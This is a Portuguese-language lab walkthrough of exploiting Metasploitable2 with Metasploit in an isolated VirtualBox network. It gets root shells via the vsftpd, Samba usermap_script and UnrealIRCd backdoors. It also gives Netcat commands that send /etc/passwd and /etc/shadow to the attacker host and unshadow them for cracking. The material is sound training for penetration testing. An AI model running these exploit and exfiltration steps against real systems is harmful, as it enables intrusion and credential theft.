
Passo a passo completo de exploração com Metasploit contra o Metasploitable2 — backdoor do vsftpd, Samba CVE-2007-2447, backdoor do UnrealIRCd, exfiltração com Netcat e preparação para quebra de credenciais.
Um tutorial prático de exploração usando o Metasploit Framework — desde a configuração do banco de dados PostgreSQL e o escaneamento com db_nmap, passando por três shells de root via vsftpd, Samba e UnrealIRCd, até a exfiltração de credenciais com o Netcat.
Este repositório documenta um engajamento completo do Metasploit contra o Metasploitable2 em um laboratório isolado no VirtualBox. Tópicos abordados:
db_nmap para salvar os resultados do escaneamento diretamente no banco de dadosusermap_script injeção de comando)/etc/passwd e /etc/shadow via Netcat e mesclando com unshadow| Máquina | Função | Endereço IP |
|---|---|---|
| Kali Linux 2026.1 | Atacante | 192.168.1.4 |
| Metasploitable2 | Alvo | 192.168.1.3 |
Rede: 192.168.1.0/24 — rede NAT totalmente isolada dentro do VirtualBox.
# Start PostgreSQL and initialize the database (one time only)
sudo systemctl start postgresql
sudo msfdb init
# Launch Metasploit
msfconsole


msf6> db_status # Verify: Connected to msf. Connection type: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace # Confirm active workspace

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

Dois servidores FTP encontrados no Metasploitable2:
| Porta | Serviço | Informações |
|---|---|---|
| 21/tcp | ftp | vsftpd 2.3.4 |
| 2121/tcp | ftp | ProFTPD 1.3.1 |
Em julho de 2011, o arquivo de código-fonte do vsftpd 2.3.4 foi comprometido — foi inserido um backdoor que abre um shell de root na porta 6200 quando o nome de usuário FTP contém :). CVE: CVE-2011-2523. Diff do código: https://pastebin.com/AetT9sS5
msf6> search type:exploit name:vsftpd
# Result: exploit/unix/ftp/vsftpd_234_backdoor (rank: excellent)
msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info




msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit


meterpreter> shell
whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Extrair senhas com hash:
cat /etc/shadow | grep '$1'

As versões do Samba 3.0.0–3.0.25rc3 passam metacaracteres de shell no campo de nome de usuário diretamente para /bin/sh por meio da opção username map script — antes que a autenticação ocorra. O Metasploitable2 executa o Samba 3.0.20-Debian.
msf6> search type:exploit name:samba
# ~7 exploits found
msf6> use exploit/multi/samba/usermap_script
msf6> info



msf6> set RHOSTS 192.168.1.3
msf6> exploit


whoami # root
smbd --version # Version 3.0.20-Debian
Aba 2 — Kali (recebendo):
nc -l -p 4567 > passwd.txt
Aba 1 — Shell do exploit (enviando):
cat /etc/passwd | nc 192.168.1.4 4567


Repita para /etc/shadow e depois mescle:
unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt
O UnrealIRCd 3.2.8.1 foi distribuído com um backdoor em seu código-fonte. Enviar AB para a porta 6667 faz o servidor executar qualquer comando subsequente como root — sem exigir autenticação.
msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit


whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Opções necessárias:
db_nmap → hosts → services → search → use → info → show options → set → exploit → shell
info antes do exploit é um hábito que vale a pena cultivar — ele exibe o CVE, as versões afetadas e as opções necessárias| Opção | Valor | Descrição |
|---|
| RHOSTS | 192.168.1.3 | IP do alvo |
| RPORT | 6667 | Porta padrão do IRC |
| LHOST | 192.168.1.4 | IP do listener no Kali |
| payload | cmd/unix/bind_netcat | Bind shell via Netcat |
| Erro | O que Acontece | Correção |
|---|
Pular o msfdb init | Sem banco de dados — os resultados do escaneamento não são salvos | Execute sudo msfdb init uma vez antes do primeiro uso |
Não definir LHOST | O reverse shell não tem para onde retornar | Sempre defina LHOST para o IP do seu Kali |
Executar msfdb init a cada sessão | Sobrescreve os dados existentes | Execute apenas uma vez; verifique com sudo msfdb status |
| RPORT errado | O exploit falha silenciosamente | Confirme a porta em services antes de definir |
| Fechar o listener do Netcat cedo demais | Transferência de arquivo truncada | Aguarde um momento após o comando com pipe antes do CTRL-C |
Pular o unshadow | Crackers de senha rejeitam o formato de arquivo dividido | Sempre mescle passwd + shadow primeiro |